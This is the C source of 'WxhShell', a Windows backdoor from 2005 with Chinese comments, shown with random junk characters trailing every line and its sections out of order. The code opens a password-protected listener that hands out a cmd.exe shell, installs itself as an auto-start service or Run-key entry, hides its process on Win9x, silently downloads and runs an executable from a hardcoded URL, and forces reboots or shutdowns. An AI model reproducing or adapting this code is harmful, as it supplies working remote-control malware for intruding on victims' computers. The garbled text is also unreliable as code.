    closesocket(wsh); :N(L7&<  
    ExitThread(0); +HUI1@ql  
    } nbhx2@Teqe  
    break; kf^Wzp  
    } ]oZ$,2#;~  
  // 获取shell bMf +/n  
  case 's': { iQS?LksQX  
    CmdShell(wsh); (Z sdj  
    closesocket(wsh); y%p&g  
    ExitThread(0); Yr!<O&=  
    break; wN"irXG  
  } v||8Q\d  
  // 退出 Z3"f7l6  
  case 'x': { l{vi{9n)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <"aPoGda  
    CloseIt(wsh); X=_N7!  
    break; [R6du*P  
    } ZJ  u\  
  // 离开 (~,Q-w"  
  case 'q': { RVX-3FvP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G,$RsP  
    closesocket(wsh); O" n/.`  
    WSACleanup(); F6YMcdU  
    exit(1); ]@>bz  
    break; ad }^Dj/  
        } 5>"-lB &  
  } ZN',=&;n'  
  } l\jf]BHX'  
N^CD4l  
  // 提示信息 "P'W@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jc:*X4-'  
} Q_qc_IcM y  
  } a4O!q;tu7  
315Rk!{AJ  
  return; OV Iu&6#  
} gey`HhZp)  
ci6j"nKci  
// shell模块句柄 f \[Z`D  
int CmdShell(SOCKET sock) B7_:,R.l  
{ mf^(Tq[  
STARTUPINFO si; dGTAZ(1W  
ZeroMemory(&si,sizeof(si)); ,d@.@a] `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )!e-5O49r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g_5:o 3s  
PROCESS_INFORMATION ProcessInfo; J'.U+XU  
char cmdline[]="cmd"; ^1Y0JQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cdf8YN0!  
  return 0; x$?{)EY  
} 1j9.Q;9  
aKhI|%5kA  
// 自身启动模式 K Ps 5? X  
int StartFromService(void) "#qyX[\  
{ V2V^*9(wu@  
typedef struct W{?7Pn?1`  
{ zl=RK  
  DWORD ExitStatus; v](7c2;  
  DWORD PebBaseAddress; w*f.Fu(su  
  DWORD AffinityMask; w f,7  
  DWORD BasePriority; y8D'V)B  
  ULONG UniqueProcessId; K9;pX2^z9  
  ULONG InheritedFromUniqueProcessId; ~NMal]Fwx  
}   PROCESS_BASIC_INFORMATION; vLXN{ ]  
6&`.C/"2  
PROCNTQSIP NtQueryInformationProcess; MrXhVZ"d*  
@c9VCG D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;SEH|_/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q+U}    
Q!(C$&f  
  HANDLE             hProcess; w q% 4'(  
  PROCESS_BASIC_INFORMATION pbi; Y\Odj~Mj  
4Sfv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +3(1QgYM%  
  if(NULL == hInst ) return 0; 7^ A;.x  
!=V>DgmW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O\,n;oj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .>Gq/[c0|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "~jt0pp  
>t<FG2  
  if (!NtQueryInformationProcess) return 0; ?a+tL'D[  
NX4!G>v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DK}k||-  
  if(!hProcess) return 0; )Fe-C  
#(mm6dj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 559znM=  
@kK${  
  CloseHandle(hProcess); :[3{-.c  
: |#Iw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6kK\nZ$o$  
if(hProcess==NULL) return 0; yQ?N*'}$  
kL 6f^MoL  
HMODULE hMod; X3NHQMI   
char procName[255]; J@54B  
unsigned long cbNeeded; %3M(!X:[  
.Wv2aJq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >wS52ng  
8l-+ 4~mH  
  CloseHandle(hProcess); "45O!AjP  
Q/o !&&  
if(strstr(procName,"services")) return 1; // 以服务启动 6q RZ#MC  
j(F&*aH78  
  return 0; // 注册表启动 wrv-"%u)  
} =W"BfG  
WHk/Rg%<  
// 主模块 3<LG~HWST  
int StartWxhshell(LPSTR lpCmdLine) 8;mn7XX  
{ W2G`K+p  
  SOCKET wsl; J)vP<.3:  
BOOL val=TRUE; 3/+9#  
  int port=0; |FG t'  
  struct sockaddr_in door; +/y 3]}  
Z;M]^?  
  if(wscfg.ws_autoins) Install(); *Nloa/a&9  
=G2D4>q  
port=atoi(lpCmdLine); i% 19|an  
vi')-1Y KM  
if(port<=0) port=wscfg.ws_port; - } \g[|  
p(in.Xz  
  WSADATA data; J;,6ydf8!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j38>,9u,  
%wn|H>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 :RL[;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m:CiXM   
  door.sin_family = AF_INET; 5<\&7P3y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iK8aj)%Q@  
  door.sin_port = htons(port); Oaf!\ z}  
pMnkh}Q#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0l#gS;  
closesocket(wsl); E5qh]z (  
return 1; RL7OFfMe  
} 7t=e"|^  
P -0  
  if(listen(wsl,2) == INVALID_SOCKET) { 0 1<~~6A  
closesocket(wsl); xzTTK+D@  
return 1; NPy{ =#k4  
} >Vz Gx(7q  
  Wxhshell(wsl); ZnSDq_Uk  
  WSACleanup(); [<`K%1GQ  
;Nf5,D.D  
return 0; | Z'NMJU  
fr kDf-P  
} ~&B{"d  
-jy- KC  
// 以NT服务方式启动 IH8^ fyQ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # le<R  
{ !N:!x[5  
DWORD   status = 0; M&o@~z0  
  DWORD   specificError = 0xfffffff; 3;( ;'5|Z  
OZ<iP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2Pn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3`[f<XaL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |;3Ru vX?+  
  serviceStatus.dwWin32ExitCode     = 0; jq#gFt*  
  serviceStatus.dwServiceSpecificExitCode = 0; O* `v1>  
  serviceStatus.dwCheckPoint       = 0; ep`WYR|B  
  serviceStatus.dwWaitHint       = 0; 6p`AdDV  
5q?2?j/h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !wy Qk  
  if (hServiceStatusHandle==0) return; ~?i;~S  
%&m/e?@%I  
status = GetLastError(); FG]xn(E  
  if (status!=NO_ERROR) 8JxJ>I-9p  
{ ??eSGQ|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6vp\~J  
    serviceStatus.dwCheckPoint       = 0; |hms'n0  
    serviceStatus.dwWaitHint       = 0; , 6 P:S7  
    serviceStatus.dwWin32ExitCode     = status; l",JN.w  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8OE=7PK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1|$V  
    return; B1dVHz#  
  } x_Zi^]  
w@w(AFV9/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IsjxD|u  
  serviceStatus.dwCheckPoint       = 0; `k b]tf  
  serviceStatus.dwWaitHint       = 0; I^erMQn[ z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A;~lG3j4  
} 4FSA:]o-  
hu}`,2  
// 处理NT服务事件,比如:启动、停止 OUCL tn\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `x%v& >  
{ (B|4wR\  
switch(fdwControl) u[nx?!  
{ /@Qg'Q#  
case SERVICE_CONTROL_STOP: ":s1}A  
  serviceStatus.dwWin32ExitCode = 0; A&EVzmj-+X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A9Cq(L_H  
  serviceStatus.dwCheckPoint   = 0; sf{rs*bgp  
  serviceStatus.dwWaitHint     = 0; gc``z9@Xg  
  { Zzy!D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (gN[<QL  
  } g}>Sc=e <  
  return; Q9,H 0r-%  
case SERVICE_CONTROL_PAUSE: 8m% +O#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mS?.xu  
  break; g/Q"%GN,  
case SERVICE_CONTROL_CONTINUE: #oBMA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eeKErpj8A  
  break; ?,G CR1|4  
case SERVICE_CONTROL_INTERROGATE: 7&oT} Z  
  break; anDwv }  
}; R@*mMWW,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5G5P#<Vv  
} oU/CXz?H  
}:JE*D|  
// 标准应用程序主函数 |'@c ~yc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R9=K/  
{ BET3tiHV  
,w>WuRN"  
// 获取操作系统版本 IQn|0$':Z  
OsIsNt=GetOsVer(); 80qSPitj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L~x PIu  
>K]s)VuWR  
  // 从命令行安装 5:3%RTLG  
  if(strpbrk(lpCmdLine,"iI")) Install(); QuG=am?l`  
,3 !D(&  
  // 下载执行文件 uZ[7[mK}n7  
if(wscfg.ws_downexe) { b*C\0D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,-!h  
  WinExec(wscfg.ws_filenam,SW_HIDE); F_28q15~:  
} y3!r;>2k=  
o }EipTL  
if(!OsIsNt) { 4sU*UePr  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]IX6>p,  
HideProc();  :{#%_^}k  
StartWxhshell(lpCmdLine); eN*=wOh  
} lqD.epm  
else sZ~q|}D-  
  if(StartFromService()) AH*{Bi[vX  
  // 以服务方式启动 H{XbKLU  
  StartServiceCtrlDispatcher(DispatchTable); z^@.b  
else Cs2hi,s  
  // 普通方式启动 7d9kr?3(U  
  StartWxhshell(lpCmdLine); ~3]ZN'b\  
+TA 'P$j  
return 0; p]/qf \E  
} !_zp'V]?  
FG-v71!h#  
/g|H?F0  
YH_mWN\Wu  
=========================================== OR{<)L  
rE:"8d}z  
+Ce[OG.  
J<p.J3I  
.9":Ljs(L  
{2|[7oNT6  
" ^,P# <,D,  
M4%u~Z:4h+  
#include <stdio.h> 9\yGv  
#include <string.h> 0F"W~OQ6  
#include <windows.h> Z*AT &7  
#include <winsock2.h> }]dK26pX  
#include <winsvc.h> )@vhqVv?  
#include <urlmon.h> Qqp_(5S|>  
iD;pXE{2s%  
#pragma comment (lib, "Ws2_32.lib") @D?KS;#  
#pragma comment (lib, "urlmon.lib") 1z .  
{ylY"FA  
#define MAX_USER   100 // 最大客户端连接数 xiWP^dIF  
#define BUF_SOCK   200 // sock buffer K-_XdJ\  
#define KEY_BUFF   255 // 输入 buffer D=B$ Pv9%  
GJu[af  
#define REBOOT     0   // 重启 ^M:Y$9r_s  
#define SHUTDOWN   1   // 关机 + ESEAi91  
)[t zAaP7  
#define DEF_PORT   5000 // 监听端口 aw%iO|M_  
GnX+.uQL|  
#define REG_LEN     16   // 注册表键长度 1Q5:Vo^B#  
#define SVC_LEN     80   // NT服务名长度 (D\7EH\9,]  
S.<aCN<@  
// 从dll定义API & bKl(,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aUy!(Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &:>3tFQSH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _u[2R=h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rm&^[mv  
u<g0oEs)  
// wxhshell配置信息 ~pZ<VH;h  
struct WSCFG { S7B7'[ru  
  int ws_port;         // 监听端口 p#\JKx  
  char ws_passstr[REG_LEN]; // 口令 KQf=t0Z=Ce  
  int ws_autoins;       // 安装标记, 1=yes 0=no gwA+%]  
  char ws_regname[REG_LEN]; // 注册表键名 pmWt7 }  
  char ws_svcname[REG_LEN]; // 服务名 1Fg*--8[r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q.U wtH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *]7$/%.D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^vj}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OV"uIY[%8V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3P.v#TEst  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zu,F 0;De  
Qm"&=<  
}; u~C,x3yr  
y6hb-: #1  
// default Wxhshell configuration #VvU8"u  
struct WSCFG wscfg={DEF_PORT, |3bCq(ZR\P  
    "xuhuanlingzhe", %W(/W9B$/F  
    1, f@j)t%mh  
    "Wxhshell", up@I,9C/  
    "Wxhshell", .c5)`  
            "WxhShell Service", !RXG{1 :  
    "Wrsky Windows CmdShell Service", anzt;V.;Y  
    "Please Input Your Password: ", 5r)]o'? s  
  1, nOCCOTf  
  "http://www.wrsky.com/wxhshell.exe", R<)^--n  
  "Wxhshell.exe" H{BP7!t[V  
    }; Wik8V0(  
Gp9:#L!  
// 消息定义模块 }e K.\_t=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (-[73v-w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [0?W>A*h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q1'4xWu  
char *msg_ws_ext="\n\rExit."; }0oVIr  
char *msg_ws_end="\n\rQuit."; %K[u  
char *msg_ws_boot="\n\rReboot..."; $<s;YhM:u)  
char *msg_ws_poff="\n\rShutdown..."; k9_c<TSzu  
char *msg_ws_down="\n\rSave to "; lDX\"Fq  
69? wZfj'  
char *msg_ws_err="\n\rErr!"; b6?&h:{k  
char *msg_ws_ok="\n\rOK!"; $X_A 74 (  
1=Z, #r  
char ExeFile[MAX_PATH]; M(Tlkr  
int nUser = 0; f.G"[p  
HANDLE handles[MAX_USER]; [e`e bn[C  
int OsIsNt; u Wxl\+_i  
i}gsxq%  
SERVICE_STATUS       serviceStatus; Tl!}Rw~Pg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UbEK2&q/8  
-(lCM/h  
// 函数声明 l 2ARM3"  
int Install(void); v+vM:At4  
int Uninstall(void); a{@gzB  
int DownloadFile(char *sURL, SOCKET wsh); $1uT`>%  
int Boot(int flag); ~zYk,;m  
void HideProc(void); oe*CZ  
int GetOsVer(void); ^oMdx2Ow#  
int Wxhshell(SOCKET wsl); @h,3"2W{Ev  
void TalkWithClient(void *cs); _J X>#h  
int CmdShell(SOCKET sock); FaLc*CU  
int StartFromService(void); cd(YH! 3  
int StartWxhshell(LPSTR lpCmdLine); `kYcTFk  
(b8ZADI*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Q~o<%U7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aP[oLk$'Z  
>zo_}A!  
// 数据结构和表定义 o/hj~;(]  
SERVICE_TABLE_ENTRY DispatchTable[] = F EA t6  
{ Z 5 Xis"j  
{wscfg.ws_svcname, NTServiceMain}, N}ZBtkR  
{NULL, NULL} P?hB`5X  
}; PJL [En*  
K/0Wp %  
// 自我安装 2QgD<  
int Install(void) im@QJ :  
{ /RI"a^&9A  
  char svExeFile[MAX_PATH]; 8?LHYdJ  
  HKEY key; $kBcnk  
  strcpy(svExeFile,ExeFile);  a"D'QqtH  
DJb9] ,=a  
// 如果是win9x系统,修改注册表设为自启动 <-DQ(0xg  
if(!OsIsNt) { 5><T#0W?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xEg@Y"NQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "j8`)XXa(  
  RegCloseKey(key); @rS(3wu_&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i`w)dS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l:~/%=  
  RegCloseKey(key); gh `]OxA  
  return 0; n.XgGT=L  
    } 6^)eW+  
  } `<-/e%8  
} |W*5<2Q9  
else { )jjL'  
7c!#e=W@B  
// 如果是NT以上系统,安装为系统服务 8@/MrEOW#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hi/Z>1ZOX  
if (schSCManager!=0) =fJ  /6  
{ C]&/k_k  
  SC_HANDLE schService = CreateService @0V4$OoFl  
  ( @F/,~|{iM  
  schSCManager, QjKh#sU&  
  wscfg.ws_svcname, \U<d)j/  
  wscfg.ws_svcdisp, n#sK31;yb  
  SERVICE_ALL_ACCESS, Z23T 2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2BiFP||  
  SERVICE_AUTO_START, mqbCa6>_S  
  SERVICE_ERROR_NORMAL, 6xFchdMG{m  
  svExeFile, $>T(31)c  
  NULL, M+I9k;N6&  
  NULL, -2j[;kgt}  
  NULL, ^<_rE-k  
  NULL, 4";NT;_q5  
  NULL UOyM=#ipY  
  ); "wCx]{Di  
  if (schService!=0) 97/ 4J  
  { > Edsanx  
  CloseServiceHandle(schService); i-9W8A  
  CloseServiceHandle(schSCManager); 6z]y =J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M9G?^mW1sT  
  strcat(svExeFile,wscfg.ws_svcname); E;, __  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z4(`>z2a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }$[@*  
  RegCloseKey(key); [930=rF*  
  return 0; Sk-Q 4D^  
    }  tN.$4+  
  } !MVf(y$  
  CloseServiceHandle(schSCManager); 0+&K;  
} -3 Sb%V\  
} 6uTC2ka[&R  
#=)!\   
return 1; oF a,IA  
} j7$xHnV4  
yo8mfH_,  
// 自我卸载 B@S~v+Gr  
int Uninstall(void) ) ~gIJW  
{ #^yOW^  
  HKEY key; 5$Kd<ky  
`+0dz,  
if(!OsIsNt) { KoA+Vv9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |~#A?mK-  
  RegDeleteValue(key,wscfg.ws_regname); `PUxR8y  
  RegCloseKey(key); E;9J7Q 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dkY JO!  
  RegDeleteValue(key,wscfg.ws_regname); )a5ON8?  
  RegCloseKey(key);  ZpMv16  
  return 0; =>kg]  
  } r)Vpt fg;  
} }%AfZ 2g;h  
} ^Epup$  
else { Ya> AI.!K  
)Gk?x$pY@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mlr'h}:H  
if (schSCManager!=0) ti$60Up  
{ R4T@ ]l&W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); on"ENT  
  if (schService!=0) ]Yf^O @<<>  
  { gK(G1  
  if(DeleteService(schService)!=0) { }p-/R'  
  CloseServiceHandle(schService); t: oQHhO?  
  CloseServiceHandle(schSCManager); J}+N\V~  
  return 0; ~H:=p  
  } P;K LN9/4  
  CloseServiceHandle(schService); }_F:]lI*R  
  } ~:PM_o*6  
  CloseServiceHandle(schSCManager); uMpuS1  
} Nr+~3:3  
} ~kj96w4eAR  
:WsHP\r  
return 1; Gy;Fe=  
} XT*/aa-1'  
u!HX`~q+A  
// 从指定url下载文件 9+$IulOvk  
int DownloadFile(char *sURL, SOCKET wsh) z@o6[g/*Q  
{ GN Ewq$  
  HRESULT hr; `p1B58deC  
char seps[]= "/"; ^^*L;b>I  
char *token; M2RkrW#  
char *file; xIW]e1pu=(  
char myURL[MAX_PATH]; $E[M[1j  
char myFILE[MAX_PATH]; n%G[Y^^,  
Hz[1c4)'F  
strcpy(myURL,sURL); /er{sKVX<  
  token=strtok(myURL,seps); ?.uhp  
  while(token!=NULL) 2{Dnfl'k  
  { mPqK k  
    file=token; [s\8@5?E  
  token=strtok(NULL,seps); r$-P  
  } JiO8 EIM  
`HnZ{PKf  
GetCurrentDirectory(MAX_PATH,myFILE); ]Hq,Pr_+  
strcat(myFILE, "\\"); !Q<3TfC  
strcat(myFILE, file); jcvq:i{  
  send(wsh,myFILE,strlen(myFILE),0); >R_m@$`  
send(wsh,"...",3,0); EkRx/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZXkrFA |  
  if(hr==S_OK) "L`BuAB  
return 0; hO{&bY0  
else iOCs% J  
return 1; yB/F6/B~  
.fhfb\$  
} Gd`7Tf)'  
`8#xO{B1  
// 系统电源模块 z_'!?K{  
int Boot(int flag) BzH0"xq^  
{ __s'/ 6u  
  HANDLE hToken; EE|c@M^  
  TOKEN_PRIVILEGES tkp; n%RaEL  
,UC|[-J  
  if(OsIsNt) { fVa z'R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1Z;cb0:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #H4<8B  
    tkp.PrivilegeCount = 1; s]`6u yW"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VAjl?\}6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0-aaLC~Z>  
if(flag==REBOOT) { |+JO]J#bc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /.rj\,  
  return 0; T][c^K*  
} X(17ESQ/Y  
else { jk_yrbLc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .I]v D#o  
  return 0; ^&y*=6C  
} I![/bwObG  
  } &'i>d&  
  else { 8 $H\b &u  
if(flag==REBOOT) { v0(}"0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l x0BKD?n  
  return 0; =h=-&DSA  
} xC= $ym]  
else { O'^AbO=,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #nft{AN  
  return 0; $7xfLS8Vo  
} oRcP4k;d=  
} w)qmq  
Yt:%)&50}-  
return 1; OVgak>$  
} `WxGU  
nehk8+eV_  
// win9x进程隐藏模块 4AvIU!0w  
void HideProc(void) 4DP<)KX  
{ ){u# (sW  
)' ,dP)b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qPUACuF'  
  if ( hKernel != NULL ) H15!QxD#  
  { 4\ )WMP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Cz]p~oF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DIvxut  
    FreeLibrary(hKernel); tBwPB#:W  
  } 0|0IIgy  
[Q6$$z92Q  
return; B tJF1#f  
} Kuk@x.~0m  
{\VsM#K6  
// 获取操作系统版本 Q'ib7R;V,  
int GetOsVer(void) VzcW9'"#  
{ -%[6q  
  OSVERSIONINFO winfo; _$HCNFdh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n4"xVDL  
  GetVersionEx(&winfo); i !SN"SY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]i `~J  
  return 1; +_f813$C  
  else ashVV~\8A  
  return 0; Ur""&@  
} ,d=Dicaz  
9N) Ea:N  
// 客户端句柄模块 uIJ zz4  
int Wxhshell(SOCKET wsl)  f|yq~3x)  
{ %V!!S#W  
  SOCKET wsh; S|IDFDn  
  struct sockaddr_in client; lx82:_  
  DWORD myID; ]tbl1=|  
2Myz[)<P_  
  while(nUser<MAX_USER) %.{xo.`a[  
{ 4%TmW/yd  
  int nSize=sizeof(client); 3);W gh6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AIA4c"w.EO  
  if(wsh==INVALID_SOCKET) return 1; K5+ONA<c  
#q?:Act  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =VZ0+Yl  
if(handles[nUser]==0) OnE~0+  
  closesocket(wsh); &v+Hl ^  
else 3 +D4$Y"  
  nUser++; N$8"X-na?  
  } (*!4O>]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x&FBh !5H  
SR9M:%dga  
  return 0; F;Ubdxwwl  
} -9"[/  
r9^~I  
// 关闭 socket FWyfFCK  
void CloseIt(SOCKET wsh) S'AS,'EnY  
{ k jR-p=}  
closesocket(wsh); ~T'$gl  
nUser--; 28xLaob  
ExitThread(0); ,aSK L1  
} {=E,.%8  
7!8R)m^1[  
// 客户端请求句柄 t$U eks  
void TalkWithClient(void *cs) 'jU;.vZex  
{ 95  X6V  
_,|N`BBqd  
  SOCKET wsh=(SOCKET)cs; A4VV y~sd  
  char pwd[SVC_LEN]; YoRD9M~iG~  
  char cmd[KEY_BUFF]; DYL\=ya1  
char chr[1]; A)o%\j  
int i,j; Kdd5ysTQ  
K db:Q0B  
  while (nUser < MAX_USER) { e&XJK*Wf   
~^"s.Lsb  
if(wscfg.ws_passstr) { 3VmF1w 2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TZS:(MJ9M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tumYZ)nW  
  //ZeroMemory(pwd,KEY_BUFF); #N|A@B5 x  
      i=0; 2lBfc  
  while(i<SVC_LEN) { QU^?a~r  
(C8r^m|A  
  // 设置超时 .&c!k1kH  
  fd_set FdRead; KH76Vts  
  struct timeval TimeOut; L@LT*M  
  FD_ZERO(&FdRead); yDBMm^  
  FD_SET(wsh,&FdRead); 1FmqNf:V7I  
  TimeOut.tv_sec=8; V']1j  
  TimeOut.tv_usec=0; E@^mlUf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PsoW:t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yM*< BV  
23[XmBf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y^J/jA0\B  
  pwd=chr[0]; +h? z7ZY^  
  if(chr[0]==0xd || chr[0]==0xa) { 0@PI=JZ%  
  pwd=0; \I`g[nT|  
  break; wDS(zG   
  } I=Xj;\b  
  i++; ]h_V5rdX@  
    } @c#M^:9Dc  
y5lhmbl: e  
  // 如果是非法用户,关闭 socket 5!^DKyw:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5X"WgR;  
} B#;0{  
Y!L<& sl   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F {T\UX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y@Q? guB  
,2 _!hm /  
while(1) { nvnJVkL9s  
OLM}en_L  
  ZeroMemory(cmd,KEY_BUFF); Di8;Tq  
0I@Cx {$  
      // 自动支持客户端 telnet标准   iKN800^u  
  j=0; rCdf*;  
  while(j<KEY_BUFF) { P_3U4J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ks-aJ+}  
  cmd[j]=chr[0]; Kw ^tvRt'*  
  if(chr[0]==0xa || chr[0]==0xd) { 1 |zy6  
  cmd[j]=0; 8cyC\Rs  
  break; v\?J$Hdd  
  } bkfk9P  
  j++; Um'r6ty  
    } 2DbM48\E  
J=qPc}+  
  // 下载文件 CuD^@  
  if(strstr(cmd,"http://")) { Co#_Cyxg=9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rCa2$#Z  
  if(DownloadFile(cmd,wsh)) YKsc[~ h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k_<8SG+`  
  else @|GKNW#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^9C9[$Q  
  } Z'I0e9Jw  
  else { d(-$ { c  
XUyoZl?  
    switch(cmd[0]) { Ew kZzVuX  
  JKsdPW<?  
  // 帮助 @j Y_^8#S  
  case '?': { )bG d++2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .5~W3v <  
    break; zUhJr$N$  
